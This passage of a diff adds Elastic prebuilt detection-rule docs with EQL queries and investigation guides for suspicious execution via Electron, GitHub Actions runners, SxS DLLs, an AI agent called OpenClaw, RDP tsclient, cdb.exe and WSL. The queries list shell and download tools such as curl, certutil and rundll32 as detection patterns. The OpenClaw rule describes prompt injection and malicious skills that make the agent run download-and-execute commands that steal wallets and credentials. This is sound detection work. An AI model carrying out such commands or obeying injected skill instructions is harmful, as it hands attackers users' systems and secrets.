"-e" and the inclusion of "require('child_process')". +- Identify the parent Electron application process to determine if it is a legitimate application or potentially malicious. +- Check the user account associated with the process to assess if it has elevated privileges that could be exploited. +- Investigate the command executed by the child process to understand its purpose and potential impact on the system. +- Correlate the alert with other security events or logs from the same host to identify any related suspicious activities or patterns. +- Examine the network activity of the host around the time of the alert to detect any unauthorized data exfiltration or communication with known malicious IPs. + + +*False positive analysis* + + +- Legitimate Electron applications may use the child_process module for valid operations, such as launching helper scripts or tools. Users should identify and whitelist these known applications to prevent unnecessary alerts. +- Development environments often execute scripts using child_process during testing or debugging. Exclude processes originating from development directories or environments to reduce false positives. +- Automated build or deployment tools running on macOS might invoke child processes as part of their workflow. Recognize and exclude these tools by their process names or paths. +- Some Electron-based applications might use command-line arguments that match the detection pattern for legitimate reasons. Review and adjust the detection rule to exclude these specific argument patterns when associated with trusted applications. +- Regularly review and update the exclusion list to accommodate new legitimate use cases as they arise, ensuring that the detection rule remains effective without generating excessive false positives. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further unauthorized command execution and potential lateral movement. +- Terminate any suspicious child processes identified as being spawned by the Electron application to halt any ongoing malicious activity. +- Conduct a thorough review of the Electron application's code and configuration to identify and remove any unauthorized or malicious scripts or modules, particularly those involving the `child_process` module. +- Revoke and reset any credentials or tokens that may have been exposed or compromised due to the unauthorized execution, ensuring that new credentials are distributed securely. +- Apply security patches and updates to the Electron application and underlying Node.js environment to mitigate any known vulnerabilities that could be exploited in a similar manner. +- Enhance monitoring and logging on the affected system and similar environments to detect any future attempts to exploit the `child_process` module, focusing on command-line arguments and process creation events. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems or data have been impacted, ensuring a comprehensive response to the threat. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.args == "-e" and process.args : "const*require*child_process*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-execution-via-github-actions-runner.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-execution-via-github-actions-runner.asciidoc new file mode 100644 index 0000000000..af5ed4341d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-execution-via-github-actions-runner.asciidoc @@ -0,0 +1,176 @@ +[[prebuilt-rule-8-19-20-execution-via-github-actions-runner]] +=== Execution via GitHub Actions Runner + +This rule detects potentially dangerous commands spawned by the GitHub Actions Runner.Worker process on self-hosted runner machines. Adversaries who gain the ability to modify or trigger workflows in a linked GitHub repository can execute arbitrary commands on the runner host. This behavior may indicate malicious or unexpected workflow activity, including code execution, file manipulation, or network exfiltration initiated through a compromised repository or unauthorized workflow. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/blog/shai-hulud-worm-npm-supply-chain-compromise +* https://socket.dev/blog/shai-hulud-strikes-again-v2 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Initial Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Data Source: Auditd Manager +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Execution via GitHub Actions Runner* + + +Adversaries who gain the ability to modify or trigger workflows in a linked GitHub repository can execute arbitrary commands on the runner host. + + +*Possible investigation steps* + + +- Review the execution details like process.command_line and if it's expected or not. +- Examine associated network and file activities and if there is any ingress tool transfer activity. +- Verify if there is adjascent any sensitive file access or collection. +- Correlate with other alerts and investiguate if this activity is related to a supply chain attack. + + +*False positive analysis* + + +- Authorized github workflow actions. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized command execution and potential lateral movement. +- Terminate any suspicious child processes that were initiated by the Github actions runner. +- Conduct a thorough review of the affected system's logs and configurations to identify any unauthorized changes or additional indicators of compromise. +- Restore the system from a known good backup if any unauthorized changes or malicious activities are confirmed. +- Implement application whitelisting to prevent unauthorized execution. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on the broader network. + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and + process.parent.name in ("Runner.Worker", "Runner.Worker.exe") and + ( + process.name like ("curl", "curl.exe", "wget", "wget.exe", "powershell.exe", "cmd.exe", "pwsh.exe", "certutil.exe", "rundll32.exe", "bash", "sh", "zsh", "tar", "rm", + "sed", "osascript", "chmod", "nohup", "setsid", "dash", "ash", "tcsh", "csh", "ksh", "fish", "python*", "perl*", "ruby*", "lua*", "php*", "node", "node.exe") or + process.executable : ("/tmp/*", "/private/tmp/*", "/var/tmp/*", "/dev/shm/*", "/run/*", "/var/run/*", "?:\\Users\\*") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Supply Chain +** ID: T1195.002 +** Reference URL: https://attack.mitre.org/techniques/T1195/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-execution-via-local-sxs-shared-module.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-execution-via-local-sxs-shared-module.asciidoc new file mode 100644 index 0000000000..0cca26d1fe --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-execution-via-local-sxs-shared-module.asciidoc @@ -0,0 +1,100 @@ +[[prebuilt-rule-8-19-20-execution-via-local-sxs-shared-module]] +=== Execution via local SxS Shared Module + +Identifies the creation, change, or deletion of a DLL module within a Windows SxS local folder. Adversaries may abuse shared modules to execute malicious payloads by instructing the Windows module loader to load DLLs from arbitrary local paths. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 313 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +The SxS DotLocal folder is a legitimate feature that can be abused to hijack standard modules loading order by forcing an executable on the same application.exe.local folder to load a malicious DLL module from the same directory. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and file.extension : "dll" and + file.path : ( + "C:\\*\\*.exe.local\\*.dll", + /* Crowdstrike specific condition as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\*\\*.exe.local\\*.dll" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Shared Modules +** ID: T1129 +** Reference URL: https://attack.mitre.org/techniques/T1129/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: DLL +** ID: T1574.001 +** Reference URL: https://attack.mitre.org/techniques/T1574/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-execution-via-openclaw-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-execution-via-openclaw-agent.asciidoc new file mode 100644 index 0000000000..19e612fdf7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-execution-via-openclaw-agent.asciidoc @@ -0,0 +1,178 @@ +[[prebuilt-rule-8-19-20-execution-via-openclaw-agent]] +=== Execution via OpenClaw Agent + +Detects suspicious child process execution from the OpenClaw, Moltbot, or Clawdbot AI coding agents running via Node.js. These tools can execute arbitrary shell commands through skills or prompt injection attacks. Malicious skills from public registries like ClawHub have been observed executing obfuscated download-and-execute commands targeting cryptocurrency wallets and credentials. This rule identifies shells, scripting interpreters, and common LOLBins spawned by these AI agents. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.malwarebytes.com/blog/threat-intel/2026/01/clawdbots-rename-to-moltbot-sparks-impersonation-campaign +* https://www.tomshardware.com/tech-industry/cyber-security/malicious-moltbot-skill-targets-crypto-users-on-clawhub +* https://blogs.cisco.com/ai/personal-ai-agents-like-openclaw-are-a-security-nightmare +* https://blog.virustotal.com/2026/02/from-automation-to-infection-how.html + +*Tags*: + +* Domain: Endpoint +* Domain: LLM +* OS: Linux +* OS: macOS +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Execution via OpenClaw Agent* + + +OpenClaw (formerly Clawdbot, rebranded to Moltbot) is a personal AI coding assistant that can execute shell commands +and scripts on behalf of users. Malicious actors have weaponized the skill ecosystem (ClawHub) to distribute skills +that execute download-and-execute commands, targeting cryptocurrency wallets and credentials. + + +*Possible investigation steps* + + +- Verify if OpenClaw/Moltbot is an approved application in your organization. +- Review the child process command line for indicators of malicious activity (encoded payloads, remote downloads, credential access). +- Check the parent Node.js process command line to identify which OpenClaw component initiated the execution. +- Examine recently installed skills from ClawHub for malicious or obfuscated code. +- Correlate with network events to identify data exfiltration or C2 communication. +- Review the user's AI conversation history for prompt injection attempts. + + +*False positive analysis* + + +- Developers legitimately using OpenClaw/Moltbot for AI-assisted coding may trigger this rule when the AI executes build scripts, curl commands, or other legitimate automation. +- If the tool is approved, consider tuning based on specific command patterns or adding exception lists. + + +*Response and remediation* + + +- If the child process activity appears malicious, terminate the OpenClaw gateway and investigate the skill that initiated the command. +- Review and remove any suspicious skills from the OpenClaw configuration. +- If credentials may have been accessed, rotate affected secrets and API keys. +- Block known typosquat domains (moltbot.you, clawbot.ai, clawdbot.you) at the network level. + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and + process.parent.name : ("node", "node.exe") and + process.parent.command_line : ("*openclaw*", "*moltbot*", "*clawdbot*") and + process.name : ("bash", "sh", "zsh", "bash.exe", "cmd.exe", "powershell.exe", "curl.exe", "curl", "base64", "xattr", "osascript", "python*", "chmod", "certutil.exe", "rundll32.exe") and + not process.args in ( + "ip neigh show", + "arp -a -n -l", + "ip neighbor show dev wlan0", + "ip neighbor show dev eth0", + "arp -a | findstr /C:---" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-execution-via-tsclient-mountpoint.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-execution-via-tsclient-mountpoint.asciidoc new file mode 100644 index 0000000000..de7ca37e01 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-execution-via-tsclient-mountpoint.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-20-execution-via-tsclient-mountpoint]] +=== Execution via TSClient Mountpoint + +Identifies execution from the Remote Desktop Protocol (RDP) shared mountpoint tsclient on the target host. This may indicate a lateral movement attempt. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://posts.specterops.io/revisiting-remote-desktop-lateral-movement-8fb905cb46c3 +* https://www.elastic.co/security-labs/hunting-for-lateral-movement-using-event-query-language + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 318 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Execution via TSClient Mountpoint* + + +The TSClient mountpoint is a feature of the Remote Desktop Protocol (RDP) that allows users to access local drives from a remote session. Adversaries can exploit this by executing malicious files from the shared mountpoint, facilitating lateral movement within a network. The detection rule identifies such activities by monitoring for process executions originating from the TSClient path, signaling potential unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the alert details to confirm the process execution path matches the pattern "\\Device\\Mup\\tsclient\\*.exe" and verify the host operating system is Windows. +- Identify the user account associated with the RDP session and check for any unusual or unauthorized access patterns, such as logins from unexpected locations or at odd times. +- Examine the executed process's hash and compare it against known malicious hashes in threat intelligence databases to determine if the file is potentially harmful. +- Investigate the source system from which the RDP session originated to identify any signs of compromise or unauthorized access that could indicate lateral movement. +- Check for any additional suspicious activities on the target host, such as unexpected network connections or file modifications, that may correlate with the execution event. +- Review the security logs from data sources like Microsoft Defender for Endpoint or Sysmon for any related alerts or anomalies that could provide further context on the incident. + + +*False positive analysis* + + +- Legitimate software updates or installations may trigger the rule if they are executed from a local drive mapped through TSClient. To manage this, create exceptions for known update processes or installation paths that are frequently used in your environment. +- IT administrative tasks performed via RDP sessions can also cause false positives. Identify and exclude specific administrative tools or scripts that are regularly executed from TSClient paths by trusted personnel. +- Automated backup or synchronization software that accesses local drives through RDP might be flagged. Review and whitelist these processes if they are part of routine operations. +- Development or testing activities involving remote execution of scripts or applications from TSClient can be mistaken for threats. Establish a list of approved development tools and paths to exclude from monitoring. +- Regularly review and update the list of exceptions to ensure that only verified and necessary exclusions are maintained, minimizing the risk of overlooking genuine threats. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further lateral movement and potential data exfiltration. +- Terminate any suspicious processes running from the TSClient path to halt any ongoing malicious activity. +- Conduct a thorough scan of the affected host using endpoint detection and response (EDR) tools to identify and remove any malicious files or artifacts. +- Review and analyze RDP logs and session details to identify unauthorized access attempts and determine the source of the intrusion. +- Reset credentials for any accounts that were accessed or potentially compromised during the incident to prevent unauthorized access. +- Implement network segmentation to limit RDP access to only necessary systems and users, reducing the attack surface for similar threats. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to ensure comprehensive remediation efforts. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and process.executable : "\\Device\\Mup\\tsclient\\*.exe" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Remote Desktop Protocol +** ID: T1021.001 +** Reference URL: https://attack.mitre.org/techniques/T1021/001/ +* Technique: +** Name: Lateral Tool Transfer +** ID: T1570 +** Reference URL: https://attack.mitre.org/techniques/T1570/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-execution-via-windows-command-debugging-utility.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-execution-via-windows-command-debugging-utility.asciidoc new file mode 100644 index 0000000000..b1d92a6d15 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-execution-via-windows-command-debugging-utility.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-20-execution-via-windows-command-debugging-utility]] +=== Execution via Windows Command Debugging Utility + +An adversary can use the Windows command line debugging utility cdb.exe to execute commands or shellcode. This rule looks for those instances and where the cdb.exe binary is outside of the normal WindowsKit installation paths. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolbas-project.github.io/lolbas/OtherMSBinaries/Cdb/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender for Endpoint +* Data Source: Crowdstrike +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Execution via Windows Command Debugging Utility* + + +The Windows command line debugging utility, cdb.exe, is a legitimate tool used for debugging applications. However, adversaries can exploit it to execute unauthorized commands or shellcode, bypassing security measures. The detection rule identifies suspicious use of cdb.exe by monitoring its execution outside standard installation paths and specific command-line arguments, indicating potential misuse for defense evasion. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of cdb.exe running from non-standard paths, as specified in the query. +- Examine the command-line arguments used with cdb.exe, particularly looking for "-cf", "-c", or "-pd", to understand the potential actions or scripts being executed. +- Investigate the parent process of cdb.exe to determine how it was launched and identify any associated suspicious activity or processes. +- Check the user account associated with the cdb.exe execution to assess if it aligns with expected behavior or if it indicates potential compromise. +- Analyze recent system logs and security alerts for any related or preceding suspicious activities that might correlate with the execution of cdb.exe. +- Review network activity from the host to identify any unusual outbound connections that could suggest data exfiltration or command-and-control communication. + + +*False positive analysis* + + +- Legitimate debugging activities by developers or IT staff using cdb.exe outside standard paths can trigger alerts. To manage this, create exceptions for known user accounts or specific machines frequently used for development. +- Automated testing environments may execute cdb.exe with command-line arguments for legitimate purposes. Identify these environments and exclude their processes from triggering alerts. +- Software installations or updates might temporarily use cdb.exe in non-standard paths. Monitor installation logs and exclude these specific instances if they are verified as part of legitimate software deployment. +- Security tools or scripts that leverage cdb.exe for monitoring or analysis can be mistaken for malicious activity. Document these tools and add them to the exclusion list to prevent false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or execution of malicious commands. +- Terminate any suspicious instances of cdb.exe running outside the standard installation paths to halt potential malicious activity. +- Conduct a forensic analysis of the affected system to identify any unauthorized changes or additional malicious payloads that may have been executed. +- Restore the system from a known good backup if any unauthorized changes or malware are detected, ensuring that the backup is clean and uncompromised. +- Update and patch the system to the latest security standards to close any vulnerabilities that may have been exploited. +- Implement application whitelisting to prevent unauthorized execution of cdb.exe from non-standard paths. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat is part of a larger attack campaign. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (?process.pe.original_file_name == "CDB.Exe" or process.name : "cdb.exe") and + process.args : ("-cf", "-c", "-pd") and + not process.executable : ( + "?:\\Program Files (x86)\\*\\cdb.exe", + "?:\\Program Files\\*\\cdb.exe", + + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Program Files (x86)\\*\\cdb.exe", + "\\Device\\HarddiskVolume*\\Program Files\\*\\cdb.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-execution-via-windows-subsystem-for-linux.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-execution-via-windows-subsystem-for-linux.asciidoc new file mode 100644 index 0000000000..add668e144 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-execution-via-windows-subsystem-for-linux.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-20-execution-via-windows-subsystem-for-linux]] +=== Execution via Windows Subsystem for Linux + +Detects attempts to execute a program on the host from the Windows Subsystem for Linux. Adversaries may enable and use WSL for Linux to avoid detection. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/windows/wsl/wsl-config + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Data Source: Sysmon + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Execution via Windows Subsystem for Linux* + + +Windows Subsystem for Linux (WSL) allows users to run Linux binaries natively on Windows, providing a seamless integration of Linux tools. Adversaries may exploit 